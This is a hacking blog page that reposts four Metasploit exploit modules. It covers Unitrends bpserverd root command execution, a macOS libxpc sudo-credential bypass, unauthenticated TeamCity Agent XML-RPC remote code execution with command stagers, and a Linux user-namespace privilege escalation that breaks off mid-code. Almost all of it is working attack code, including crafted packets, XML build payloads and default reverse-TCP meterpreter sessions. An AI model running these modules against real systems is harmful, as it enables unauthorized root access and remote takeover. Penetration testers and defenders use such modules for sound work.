Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863587958

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info={})
    super(update_info(info, {
      'Name'           => 'Unitrends Enterprise Backup bpserverd Privilege Escalation',
      'Description'    => %q{
        It was discovered that the Unitrends bpserverd proprietary protocol, as exposed via xinetd,
        has an issue in which its authentication can be bypassed.  A remote attacker could use this
        issue to execute arbitrary commands with root privilege on the target system.
        This is very similar to exploits/linux/misc/ueb9_bpserverd however it runs against the
        localhost by dropping a python script on the local file system.  Unitrends stopped
        bpserverd from listening remotely on version 10.
       },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Cale Smith', # @0xC413
          'Benny Husted', # @BennyHusted
          'Jared Arave', # @iotennui
          'h00die' # msf adaptations
        ],
      'DisclosureDate' => 'Mar 14 2018',
      'Platform'       => 'linux',
      'Arch'           => [ARCH_X86],
      'References'     =>
        [
          ['URL', 'https://support.unitrends.com/UnitrendsBackup/s/article/000005691'],
          ['URL', 'http://blog.redactedsec.net/exploits/2018/04/20/UEB9_tcp.html'],
          ['EDB', '44297'],
          ['CVE', '2018-6329']
        ],
      'Targets'        =>
        [
          [ 'UEB <= 10.0', { } ]
        ],
      'DefaultOptions' => { 'PrependFork' => true, 'WfsDelay' => 2 },
      'SessionTypes'   => ['shell', 'meterpreter'],
      'DefaultTarget'  => 0
      }
    ))
    register_advanced_options([
      OptString.new("WritableDir", [true, "A directory where we can write files", "/tmp"]),
      OptInt.new("BPSERVERDPORT", [true, "Port bpserverd is running on", 1743])
    ])
  end

  def exploit

    pl = generate_payload_exe
    exe_path = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric 5..10}"
    print_status("Writing payload executable to '#{exe_path}'")

    write_file(exe_path, pl)
    #register_file_for_cleanup(exe_path)

pe_script = %Q{
import socket
import binascii
import struct
import time
import sys

RHOST = '127.0.0.1'
XINETDPORT = #{datastore['BPSERVERDPORT']}
cmd = "#{exe_path}"

def recv_timeout(the_socket,timeout=2):
    the_socket.setblocking(0)
    total_data=[];data='';begin=time.time()
    while 1:
        #if you got some data, then break after wait sec
        if total_data and time.time()-begin>timeout:
            break
        #if you got no data at all, wait a little longer
        elif time.time()-begin>timeout*2:
            break
        try:
            data=the_socket.recv(8192)
            if data:
                total_data.append(data)
                begin=time.time()
            else:
                time.sleep(0.1)
        except:
            pass
    return ''.join(total_data)

print "[+] attempting to connect to xinetd on {0}:{1}".format(RHOST, str(XINETDPORT))

try:
  s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s1.connect((RHOST,XINETDPORT))
except:
  print "[!] Failed to connect!"
  exit()

data = s1.recv(4096)
bpd_port = int(data[-8:-3])

try:
  pass
  s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s2.connect((RHOST, bpd_port))
except:
  print "[!] Failed to connect!"
  s1.close()
  exit()

print "[+] Connected! Sending the following cmd to {0}:{1}".format(RHOST,str(XINETDPORT))
print "[+] '{0}'".format(cmd)

cmd_len = chr(len(cmd) + 3)
packet_len = chr(len(cmd) + 23)

#https://github.com/rapid7/metasploit-framework/blob/76954957c740525cff2db5a60bcf936b4ee06c42/modules/exploits/linux/misc/ueb9_bpserverd.rb#L72
packet = '\\xa5\\x52\\x00\\x2d'
packet += '\\x00' * 3
packet += packet_len
packet += '\\x00' * 3
packet += '\\x01'
packet += '\\x00' * 3
packet += '\\x4c'
packet += '\\x00' * 3
packet += cmd_len
packet += cmd
packet += '\\x00' * 3

s1.send(packet)

data = recv_timeout(s2)

print data

s1.close()
}

    pes_path = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric 5..10}"
    print_status("Writing privesc script to '#{pes_path}'")

    write_file(pes_path, pe_script)
    #register_file_for_cleanup(pes_path)

    print_status("Fixing permissions")
    cmd_exec("chmod +x #{exe_path} #{pes_path}")

    vprint_status cmd_exec("python #{pes_path} -c '#{exe_path}'")
  end

end
            
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Post::OSX::Priv
  include Msf::Post::OSX::System
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'          => 'Mac OS X libxpc MITM Privilege Escalation',
      'Description'   => %q{
        This module exploits a vulnerablity in libxpc on macOS <= 10.13.3
        The task_set_special_port API allows callers to overwrite their bootstrap port,
        which is used to communicate with launchd. This port is inherited across forks:
        child processes will use the same bootstrap port as the parent.
        By overwriting the bootstrap port and forking a child processes, we can now gain
        a MitM position between our child and launchd.

        To gain root we target the sudo binary and intercept its communication with
        opendirectoryd, which is used by sudo to verify credentials. We modify the
        replies from opendirectoryd to make it look like our password was valid.
      },
      'License'       => MSF_LICENSE,
      'Author'         => [ 'saelo' ],
      'References'     => [
          ['CVE', '2018-4237'],
          ['URL', 'https://github.com/saelo/pwn2own2018'],
        ],
      'Arch'           => [ ARCH_X64 ],
      'Platform'       => 'osx',
      'DefaultTarget'  => 0,
      'DefaultOptions' => { 'PAYLOAD' => 'osx/x64/meterpreter/reverse_tcp' },
      'Targets'        => [
          [ 'Mac OS X x64 (Native Payload)', { } ]
        ],
      'DisclosureDate' => 'Mar 15 2018'))
    register_advanced_options [
      OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
    ]
  end

  def upload_executable_file(filepath, filedata)
    print_status("Uploading file: '#{filepath}'")
    write_file(filepath, filedata)
    chmod(filepath)
    register_file_for_cleanup(filepath)
  end

  def check
    version = Gem::Version.new(get_system_version)
    if version >= Gem::Version.new('10.13.4')
      CheckCode::Safe
    else
      CheckCode::Appears
    end
  end

  def exploit
    if check != CheckCode::Appears
      fail_with Failure::NotVulnerable, 'Target is not vulnerable'
    end

    if is_root?
      fail_with Failure::BadConfig, 'Session already has root privileges'
    end

    unless writable? datastore['WritableDir']
      fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"
    end

    exploit_data = File.binread(File.join(Msf::Config.data_directory, "exploits", "CVE-2018-4237", "ssudo" ))
    exploit_file = "#{datastore['WritableDir']}/#{Rex::Text::rand_text_alpha_lower(6..12)}"
    upload_executable_file(exploit_file, exploit_data)
    payload_file = "#{datastore['WritableDir']}/#{Rex::Text::rand_text_alpha_lower(6..12)}"
    upload_executable_file(payload_file, generate_payload_exe)
    exploit_cmd = "#{exploit_file} #{payload_file}"
    print_status("Executing cmd '#{exploit_cmd}'")
    cmd_exec(exploit_cmd)
  end
end
            
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'TeamCity Agent XML-RPC Command Execution',
      'Description'    => %q(
        This module allows remote code execution on TeamCity Agents configured
        to use bidirectional communication via xml-rpc. In bidirectional mode
        the TeamCity server pushes build commands to the Build Agents over port
        TCP/9090 without requiring authentication. Up until version 10 this was
        the default configuration. This module supports TeamCity agents from
        version 6.0 onwards.
      ),
      'Author'         => ['Dylan Pindur <dylanpindur@gmail.com>'],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['URL', 'https://www.tenable.com/plugins/nessus/94675']
        ],
      'Platform'       => %w[linux win],
      'Targets'        =>
        [
          ['Windows', { 'Platform' => 'win' }],
          ['Linux', { 'Platform' => 'linux' }]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Apr 14 2015'))

    deregister_options('SRVHOST', 'SRVPORT', 'URIPATH', 'VHOST')
    register_options(
      [
        Opt::RPORT(9090),
        OptString.new(
          'CMD',
          [false, 'Execute this command instead of using command stager', '']
        )
      ]
    )
  end

  def check
    version = determine_version
    if !version.nil? && version >= 15772
      Exploit::CheckCode::Appears
    else
      Exploit::CheckCode::Safe
    end
  end

  def exploit
    version = determine_version
    if version.nil?
      fail_with(Failure::NoTarget, 'Could not determine TeamCity Agent version')
    else
      print_status("Found TeamCity Agent running build version #{version}")
    end

    unless datastore['CMD'].blank?
      print_status('Executing user supplied command')
      execute_command(datastore['CMD'], version)
      return
    end

    case target['Platform']
    when 'linux'
      linux_stager(version)
    when 'win'
      windows_stager(version)
    else
      fail_with(Failure::NoTarget, 'Unsupported target platform!')
    end
  end

  def windows_stager(version)
    print_status('Constructing Windows payload')

    stager = generate_cmdstager(
      flavor: :certutil,
      temp: '.',
      concat_operator: "\n",
      nodelete: true
    ).join("\n")
    stager = stager.gsub(/^(?<exe>.{5}\.exe)/, 'start "" \k<exe>')

    xml_payload = build_request(stager, version)
    if xml_payload.nil?
      fail_with(Failure::NoTarget, "No compatible build config for TeamCity build #{version}")
    end

    print_status("Found compatible build config for TeamCity build #{version}")
    send_request(xml_payload)
  end

  def linux_stager(version)
    print_status('Constructing Linux payload')

    stager = generate_cmdstager(
      flavor: :printf,
      temp: '.',
      concat_operator: "\n",
      nodelete: true
    ).join("\n")
    stager << ' &'

    xml_payload = build_request(stager, version)
    if xml_payload.nil?
      fail_with(Failure::NoTarget, "No compatible build config for TeamCity build #{version}")
    end

    print_status("Found compatible build config for TeamCity build #{version}")
    send_request(xml_payload)
  end

  def execute_command(cmd, version)
    xml_payload = build_request(cmd, version)

    if xml_payload.nil?
      fail_with(Failure::NoTarget, "No compatible build config for TeamCity build #{version}")
    end

    print_status("Found compatible build config for TeamCity build #{version}")
    send_request(xml_payload)
  end

  def determine_version
    xml_payload = %(
<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
  <methodName>buildAgent.getVersion</methodName>
  <params></params>
</methodCall>
    )
    res = send_request_cgi(
      {
        'uri'    => '/',
        'method' => 'POST',
        'ctype'  => 'text/xml',
        'data'   => xml_payload.strip!
      },
      10
    )

    if !res.nil? && res.code == 200
      xml_doc = res.get_xml_document
      if xml_doc.errors.empty?
        val = xml_doc.xpath('/methodResponse/params/param/value')
        if val.length == 1
          return val.text.to_i
        end
      end
    end
    return nil
  end

  def send_request(xml_payload)
    res = send_request_cgi(
      {
        'uri'    => '/',
        'method' => 'POST',
        'ctype'  => 'text/xml',
        'data'   => xml_payload
      },
      10
    )

    if !res.nil? && res.code == 200
      print_status("Successfully sent build configuration")
    else
      print_status("Failed to send build configuration")
    end
  end

  def build_request(script_content, version)
    case version
    when 0..15771
      return nil
    when 15772..17794
      return req_teamcity_6(script_content)
    when 17795..21240
      return req_teamcity_6_5(script_content)
    when 21241..27401
      return req_teamcity_7(script_content)
    when 27402..32059
      return req_teamcity_8(script_content)
    when 32060..42001
      return req_teamcity_9(script_content)
    when 42002..46532
      return req_teamcity_10(script_content)
    else
      return req_teamcity_2017(script_content)
    end
  end

  def req_teamcity_2017(script_content)
    build_code = Rex::Text.rand_text_alpha(8)
    build_id = Rex::Text.rand_text_numeric(8)
    xml_payload = %(
<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
  <methodName>buildAgent.runBuild</methodName>
  <params>
    <param>
      <value>
        <![CDATA[
          <AgentBuild>
            <myBuildId>#{build_id}</myBuildId>
            <myBuildTypeId>x</myBuildTypeId>
            <myBuildTypeExternalId>x</myBuildTypeExternalId>
            <myCheckoutType>ON_AGENT</myCheckoutType>
            <myVcsSettingsHashForServerCheckout>x</myVcsSettingsHashForServerCheckout>
            <myVcsSettingsHashForAgentCheckout>#{build_code}</myVcsSettingsHashForAgentCheckout>
            <myVcsSettingsHashForManualCheckout>x</myVcsSettingsHashForManualCheckout>
            <myDefaultExecutionTimeout>3</myDefaultExecutionTimeout>
            <myServerParameters class="StringTreeMap">
              <k>system.build.number</k>
              <v>0</v>
            </myServerParameters>
            <myAccessCode/>
            <myArtifactDependencies/>
            <myArtifactPaths/>
            <myArtifactStorageSettings/>
            <myBuildFeatures/>
            <myBuildTypeOptions/>
            <myFullCheckoutReasons/>
            <myParametersSpecs class="StringTreeMap"/>
            <myPersonalVcsChanges/>
            <myUserBuildParameters/>
            <myVcsChanges/>
            <myVcsRootCurrentRevisions class="tree-map"/>
            <myVcsRootEntries/>
            <myVcsRootOldRevisions class="tree-map"/>
            <myBuildRunners>
              <jetbrains.buildServer.agentServer.BuildRunnerData>
                <myId>x</myId>
                <myIsDisabled>false</myIsDisabled>
                <myRunType>simpleRunner</myRunType>
                <myRunnerName>x</myRunnerName>
                <myChildren class="list"/>
                <myServerParameters class="tree-map">
                  <entry>
                    <string>teamcity.build.step.name</string>
                    <string>x</string>
                  </entry>
                </myServerParameters>
                <myRunnerParameters class="tree-map">
                  <entry>
                    <string>script.content</string>
                    <string>#{script_content}</string>
                  </entry>
                  <entry>
                    <string>teamcity.step.mode</string>
                    <string>default</string>
                  </entry>
                  <entry>
                    <string>use.custom.script</string>
                    <string>true</string>
                  </entry>
                </myRunnerParameters>
              </jetbrains.buildServer.agentServer.BuildRunnerData>
            </myBuildRunners>
          </AgentBuild>
        ]]>
      </value>
    </param>
  </params>
</methodCall>
    )
    return xml_payload.strip!
  end

  def req_teamcity_10(script_content)
    build_code = Rex::Text.rand_text_alpha(8)
    build_id = Rex::Text.rand_text_numeric(8)
    xml_payload = %(
<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
  <methodName>buildAgent.runBuild</methodName>
  <params>
    <param>
      <value>
        <![CDATA[
          <AgentBuild>
            <myBuildId>#{build_id}</myBuildId>
            <myBuildTypeId>x</myBuildTypeId>
            <myBuildTypeExternalId>x</myBuildTypeExternalId>
            <myCheckoutType>ON_AGENT</myCheckoutType>
            <myVcsSettingsHashForServerCheckout>x</myVcsSettingsHashForServerCheckout>
            <myVcsSettingsHashForAgentCheckout>#{build_code}</myVcsSettingsHashForAgentCheckout>
            <myVcsSettingsHashForManualCheckout>x</myVcsSettingsHashForManualCheckout>
            <myDefaultExecutionTimeout>3</myDefaultExecutionTimeout>
            <myServerParameters class="StringTreeMap">
              <k>system.build.number</k>
              <v>0</v>
            </myServerParameters>
            <myAccessCode/>
            <myArtifactDependencies/>
            <myArtifactPaths/>
            <myBuildFeatures/>
            <myBuildTypeOptions/>
            <myFullCheckoutReasons/>
            <myParametersSpecs class="StringTreeMap"/>
            <myPersonalVcsChanges/>
            <myUserBuildParameters/>
            <myVcsChanges/>
            <myVcsRootCurrentRevisions class="tree-map"/>
            <myVcsRootEntries/>
            <myVcsRootOldRevisions class="tree-map"/>
            <myBuildRunners>
              <jetbrains.buildServer.agentServer.BuildRunnerData>
                <myId>x</myId>
                <myIsDisabled>false</myIsDisabled>
                <myRunType>simpleRunner</myRunType>
                <myRunnerName>x</myRunnerName>
                <myChildren class="list"/>
                <myServerParameters class="tree-map">
                  <entry>
                    <string>teamcity.build.step.name</string>
                    <string>x</string>
                  </entry>
                </myServerParameters>
                <myRunnerParameters class="tree-map">
                  <entry>
                    <string>script.content</string>
                    <string>#{script_content}</string>
                  </entry>
                  <entry>
                    <string>teamcity.step.mode</string>
                    <string>default</string>
                  </entry>
                  <entry>
                    <string>use.custom.script</string>
                    <string>true</string>
                  </entry>
                </myRunnerParameters>
              </jetbrains.buildServer.agentServer.BuildRunnerData>
            </myBuildRunners>
          </AgentBuild>
        ]]>
      </value>
    </param>
  </params>
</methodCall>
    )
    return xml_payload.strip!
  end

  def req_teamcity_9(script_content)
    build_id = Rex::Text.rand_text_numeric(8)
    xml_payload = %(
<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
  <methodName>buildAgent.runBuild</methodName>
  <params>
    <param>
      <value>
        <![CDATA[
          <AgentBuild>
            <myBuildId>#{build_id}</myBuildId>
            <myBuildTypeId>x</myBuildTypeId>
            <myBuildTypeExternalId>x</myBuildTypeExternalId>
            <myCheckoutType>ON_AGENT</myCheckoutType>
            <myDefaultCheckoutDirectory>x</myDefaultCheckoutDirectory>
            <myDefaultExecutionTimeout>3</myDefaultExecutionTimeout>
            <myServerParameters class="StringTreeMap">
              <k>system.build.number</k>
              <v>0</v>
            </myServerParameters>
            <myAccessCode/>
            <myArtifactDependencies/>
            <myArtifactPaths/>
            <myBuildFeatures/>
            <myBuildTypeOptions/>
            <myFullCheckoutReasons/>
            <myPersonalVcsChanges/>
            <myUserBuildParameters/>
            <myVcsChanges/>
            <myVcsRootCurrentRevisions class="tree-map"/>
            <myVcsRootEntries/>
            <myVcsRootOldRevisions class="tree-map"/>
            <myBuildRunners>
              <jetbrains.buildServer.agentServer.BuildRunnerData>
                <myId>x</myId>
                <myIsDisabled>false</myIsDisabled>
                <myRunType>simpleRunner</myRunType>
                <myRunnerName>x</myRunnerName>
                <myChildren class="list"/>
                <myServerParameters class="tree-map">
                  <entry>
                    <string>teamcity.build.step.name</string>
                    <string>x</string>
                  </entry>
                </myServerParameters>
                <myRunnerParameters class="tree-map">
                  <entry>
                    <string>script.content</string>
                    <string>#{script_content}</string>
                  </entry>
                  <entry>
                    <string>teamcity.step.mode</string>
                    <string>default</string>
                  </entry>
                  <entry>
                    <string>use.custom.script</string>
                    <string>true</string>
                  </entry>
                </myRunnerParameters>
              </jetbrains.buildServer.agentServer.BuildRunnerData>
            </myBuildRunners>
          </AgentBuild>
        ]]>
      </value>
    </param>
  </params>
</methodCall>
    )
    return xml_payload.strip!
  end

  def req_teamcity_8(script_content)
    build_id = Rex::Text.rand_text_numeric(8)
    xml_payload = %(
<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
  <methodName>buildAgent.runBuild</methodName>
  <params>
    <param>
      <value>
        <![CDATA[
          <AgentBuild>
            <myBuildId>#{build_id}</myBuildId>
            <myBuildTypeId>x</myBuildTypeId>
            <myCheckoutType>ON_AGENT</myCheckoutType>
            <myDefaultCheckoutDirectory>x</myDefaultCheckoutDirectory>
            <myServerParameters class="tree-map">
              <entry>
                <string>system.build.number</string>
                <string>0</string>
              </entry>
            </myServerParameters>
            <myAccessCode/>
            <myArtifactDependencies/>
            <myArtifactPaths/>
            <myBuildTypeOptions/>
            <myFullCheckoutReasons/>
            <myPersonalVcsChanges/>
            <myUserBuildParameters/>
            <myVcsChanges/>
            <myVcsRootCurrentRevisions class="tree-map"/>
            <myVcsRootEntries/>
            <myVcsRootOldRevisions class="tree-map"/>
            <myBuildRunners>
              <jetbrains.buildServer.agentServer.BuildRunnerData>
                <myId>x</myId>
                <myIsDisabled>false</myIsDisabled>
                <myRunType>simpleRunner</myRunType>
                <myRunnerName>x</myRunnerName>
                <myChildren class="list"/>
                <myServerParameters class="tree-map">
                    <entry>
                      <string>teamcity.build.step.name</string>
                      <string>x</string>
                    </entry>
                  </myServerParameters>
                <myRunnerParameters class="tree-map">
                  <entry>
                    <string>script.content</string>
                    <string>#{script_content}</string>
                  </entry>
                  <entry>
                    <string>teamcity.step.mode</string>
                    <string>default</string>
                  </entry>
                  <entry>
                    <string>use.custom.script</string>
                    <string>true</string>
                  </entry>
                  </myRunnerParameters>
                </jetbrains.buildServer.agentServer.BuildRunnerData>
            </myBuildRunners>
            <myDefaultExecutionTimeout>3</myDefaultExecutionTimeout>
            <myBuildFeatures/>
          </AgentBuild>
        ]]>
      </value>
    </param>
  </params>
</methodCall>
    )
    return xml_payload.strip!
  end

  def req_teamcity_7(script_content)
    build_id = Rex::Text.rand_text_numeric(8)
    xml_payload = %(
<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
  <methodName>buildAgent.runBuild</methodName>
  <params>
    <param>
      <value>
        <![CDATA[
          <AgentBuild>
            <myBuildId>#{build_id}</myBuildId>
            <myBuildTypeId>x</myBuildTypeId>
            <myCheckoutType>ON_AGENT</myCheckoutType>
            <myDefaultCheckoutDirectory>x</myDefaultCheckoutDirectory>
            <myServerParameters class="tree-map">
              <no-comparator/>
              <entry>
                <string>system.build.number</string>
                <string>0</string>
              </entry>
            </myServerParameters>
            <myVcsRootOldRevisions class="tree-map">
              <no-comparator/>
            </myVcsRootOldRevisions>
            <myVcsRootCurrentRevisions class="tree-map">
              <no-comparator/>
            </myVcsRootCurrentRevisions>
            <myAccessCode/>
            <myArtifactDependencies/>
            <myArtifactPaths/>
            <myBuildTypeOptions/>
            <myFullCheckoutReasons/>
            <myPersonalVcsChanges/>
            <myUserBuildParameters/>
            <myVcsChanges/>
            <myVcsRootEntries/>
            <myBuildRunners>
              <jetbrains.buildServer.agentServer.BuildRunnerData>
                <myRunType>simpleRunner</myRunType>
                <myRunnerName>x</myRunnerName>
                <myRunnerParameters class="tree-map">
                  <no-comparator/>
                  <entry>
                    <string>script.content</string>
                    <string>#{script_content}</string>
                  </entry>
                  <entry>
                    <string>teamcity.step.mode</string>
                    <string>default</string>
                  </entry>
                  <entry>
                    <string>use.custom.script</string>
                    <string>true</string>
                  </entry>
                </myRunnerParameters>
                <myServerParameters class="tree-map">
                  <no-comparator/>
                  <entry>
                    <string>teamcity.build.step.name</string>
                    <string>x</string>
                  </entry>
                </myServerParameters>
              </jetbrains.buildServer.agentServer.BuildRunnerData>
            </myBuildRunners>
            <myDefaultExecutionTimeout>3</myDefaultExecutionTimeout>
            <myBuildFeatures/>
          </AgentBuild>
        ]]>
      </value>
    </param>
  </params>
</methodCall>
    )
    return xml_payload.strip!
  end

  def req_teamcity_6_5(script_content)
    build_id = Rex::Text.rand_text_numeric(8)
    xml_payload = %(
<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
  <methodName>buildAgent.run</methodName>
  <params>
    <param>
      <value>
        <![CDATA[
          <AgentBuild>
            <myBuildId>#{build_id}</myBuildId>
            <myBuildTypeId>x</myBuildTypeId>
            <myPersonal>false</myPersonal>
            <myCheckoutType>ON_AGENT</myCheckoutType>
            <myDefaultCheckoutDirectory>x</myDefaultCheckoutDirectory>
            <myServerParameters class="tree-map">
              <no-comparator/>
              <entry>
                <string>system.build.number</string>
                <string>0</string>
              </entry>
            </myServerParameters>
            <myVcsRootOldRevisions class="tree-map">
              <no-comparator/>
            </myVcsRootOldRevisions>
            <myVcsRootCurrentRevisions class="tree-map">
              <no-comparator/>
            </myVcsRootCurrentRevisions>
            <myAccessCode/>
            <myArtifactDependencies/>
            <myBuildTypeOptions/>
            <myPersonalVcsChanges/>
            <myUserBuildParameters/>
            <myVcsChanges/>
            <myVcsRootEntries/>
            <myBuildRunners>
              <jetbrains.buildServer.agentServer.BuildRunnerData>
                <myRunType>simpleRunner</myRunType>
                <myRunnerName>x</myRunnerName>
                <myRunnerParameters class="tree-map">
                  <no-comparator/>
                  <entry>
                    <string>script.content</string>
                    <string>#{script_content}</string>
                  </entry>
                  <entry>
                    <string>use.custom.script</string>
                    <string>true</string>
                  </entry>
                </myRunnerParameters>
                <myServerParameters class="tree-map">
                  <no-comparator/>
                </myServerParameters>
              </jetbrains.buildServer.agentServer.BuildRunnerData>
            </myBuildRunners>
          </AgentBuild>
        ]]>
      </value>
    </param>
  </params>
</methodCall>
    )
    return xml_payload.strip!
  end

  def req_teamcity_6(script_content)
    build_id = Rex::Text.rand_text_numeric(8)
    xml_payload = %(
<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
  <methodName>buildAgent.run</methodName>
    <params>
      <param>
        <value>
          <![CDATA[
            <AgentBuild>
              <myBuildId>#{build_id}</myBuildId>
              <myBuildTypeId>x</myBuildTypeId>
              <myAccessCode></myAccessCode>
              <myPersonal>false</myPersonal>
              <myCheckoutType>ON_AGENT</myCheckoutType>
              <myDefaultCheckoutDirectory>x</myDefaultCheckoutDirectory>
              <myServerParameters class="tree-map">
                <no-comparator/>
                <entry>
                  <string>system.build.number</string>
                  <string>0</string>
                </entry>
              </myServerParameters>
              <myVcsRootOldRevisions class="tree-map">
                <no-comparator/>
              </myVcsRootOldRevisions>
              <myVcsRootCurrentRevisions class="tree-map">
                <no-comparator/>
              </myVcsRootCurrentRevisions>
              <myArtifactDependencies/>
              <myBuildTypeOptions/>
              <myPersonalVcsChanges/>
              <myUserBuildParameters/>
              <myVcsChanges/>
              <myVcsRootEntries/>
              <myBuildRunners>
                <jetbrains.buildServer.agentServer.BuildRunnerData>
                  <myRunType>simpleRunner</myRunType>
                  <myServerParameters class="tree-map">
                    <no-comparator/>
                  </myServerParameters>
                  <myRunnerParameters class="tree-map">
                    <no-comparator/>
                    <entry>
                      <string>script.content</string>
                      <string>#{script_content}</string>
                    </entry>
                    <entry>
                      <string>use.custom.script</string>
                      <string>true</string>
                    </entry>
                  </myRunnerParameters>
                </jetbrains.buildServer.agentServer.BuildRunnerData>
              </myBuildRunners>
            </AgentBuild>
          ]]>
        </value>
      </param>
  </params>
</methodCall>
    )
    return xml_payload.strip!
  end
end
            
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = GreatRanking

  include Msf::Post::Linux::Priv
  include Msf::Post::Linux::System
  include Msf::Post::Linux::Kernel
  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Linux Nested User Namespace idmap Limit Local Privilege Escalation',
      'Description'    => %q{
        This module exploits a vulnerability in Linux kernels 4.15.0 to 4.18.18,
        and 4.19.0 to 4.19.1, where broken uid/gid mappings between nested user
        namespaces and kernel uid/gid mappings allow elevation to root
        (CVE-2018-18955).

        The target system must have unprivileged user namespaces enabled and
        the newuidmap and newgidmap helpers installed (from uidmap package).

        This module has been tested successfully on:

        Fedora Workstation 28 kernel 4.16.3-301.fc28.x86_64;
        Kubuntu 18.04 LTS kernel 4.15.0-20-generic (x86_64);
        Linux Mint 19 kernel 4.15.0-20-generic (x86_64);
        Ubuntu Linux 18.04.1 LTS kernel 4.15.0-20-generic (x86_64).
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Jann Horn', # Discovery and exploit
          'bcoles'     # Metasploit
        ],
      'DisclosureDate' => 'Nov 15 2018',
      'Platform'       => ['linux'],
      'Arch'           => [ARCH_X86, ARCH_X64],
      'SessionTypes'   => ['shell', 'meterpreter'],
      'Targets'        => [['Auto', {}]],
      'Privileged'     => true,
      'References'     =>
        [
          ['BID', '105941'],
          ['CVE', '2018-18955'],
          ['EDB', '45886'],
          ['PACKETSTORM', '150381'],
          ['URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1712'],
          ['URL', 'https://github.com/bcoles/kernel-exploits/tree/master/CVE-2018-18955'],
          ['URL', 'https://lwn.net/Articles/532593/'],
          ['URL', 'https://bugs.launchpad.net/bugs/1801924'],
          ['URL', 'https://people.canonical.com/~ubuntu-security/cve/CVE-2018-18955'],
          ['URL', 'https://security-tracker.debian.org/tracker/CVE-2018-18955'],
          ['URL', 'https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=d2f007dbe7e4c9583eea6eb04d60001e85c6f1bd'],
          ['URL', 'https://cdn.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.18.19'],
          ['URL', 'https://cdn.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.19.2']
        ],
      'DefaultTarget'  => 0,
      'DefaultOptions' =>
        {
          'AppendExit'       => true,
          'PrependSetresuid' => true,
          'PrependSetreuid'  => true,
          'PrependSetuid'    => true,
          'PrependFork'      => true,
          'WfsDelay'         => 60,
          'PAYLOAD'          => 'linux/x86/meterpreter/reverse_tcp'
        },
      'Notes' =>
        {
          'AKA' => ['subuid_shell.c']
        }
      ))
    register_options [
      OptEnum.new('COMPILE', [true, 'Compile on target', 'Auto', %w[Auto True False]])
    ]
    register_advanced_options [
      OptBool.new('ForceExploit',  [false, 'Override check result', false]),
      OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
    ]
  end

  def base_dir
    datastore['WritableDir'].to_s
  end

  def upload(path, data)
    print_status "Writing '#{path}' (#{data.size} bytes) ..."
    rm_f path
    write_file path, data
    register_file_for_cleanup path
  end

  def upload_and_chmodx(path, data)
    upload path, data
    chmod path
  end

  def upload_and_compile(path, data)
    upload "#{path}.c", data

    gcc_cmd = "gcc -o #{path} #{path}.c"
    if session.type.eql? 'shell'
      gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}"
    end
    output = cmd_exec gcc_cmd

    unless output.blank?
      print_error output
      fail_with Failure::Unknown, "#{path}.c failed to compile. Set COMPILE False to upload a pre-compiled executable."
    end

    register_file_for_cleanup path
    chmod path, 0755
  end

  def exploit_data(file)
    ::File.binread ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2018-18955', file)
  end

  def live_compile?
    return false unless datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True')

    if has_gcc?
      vprint_good 'gcc is installed'
      return true
    end

    unless datastore['COMPILE'].eql? 'Auto'
      fail_with Failure::BadConfig, 'gcc is not installed. Compiling will fail.'
    end
  end

  def check
    unless userns_enabled?
      vprint_error 'Unprivileged user namespaces are not permitted'
      return CheckCode::Safe
    end
    vprint_good 'Unprivileged user namespaces are permitted'

    ['/usr/bin/newuidmap', '/usr/bin/newgidmap'].each do |path|
      unless setuid? path
        vprint_error "#{path} is not set-uid"
        return CheckCode::Safe
      end
      vprint_good "#{path} is set-uid"
    end

    # Patched in 4.18.19 and 4.19.2
    release = kernel_release
    v = Gem::Version.new release.split('-').first
    if v < Gem::Version.new('4.15') ||
       v >= Gem::Version.new('4.19.2') ||
       (v >= Gem::Version.new('4.18.19') && v < Gem::Version.new('4.19'))
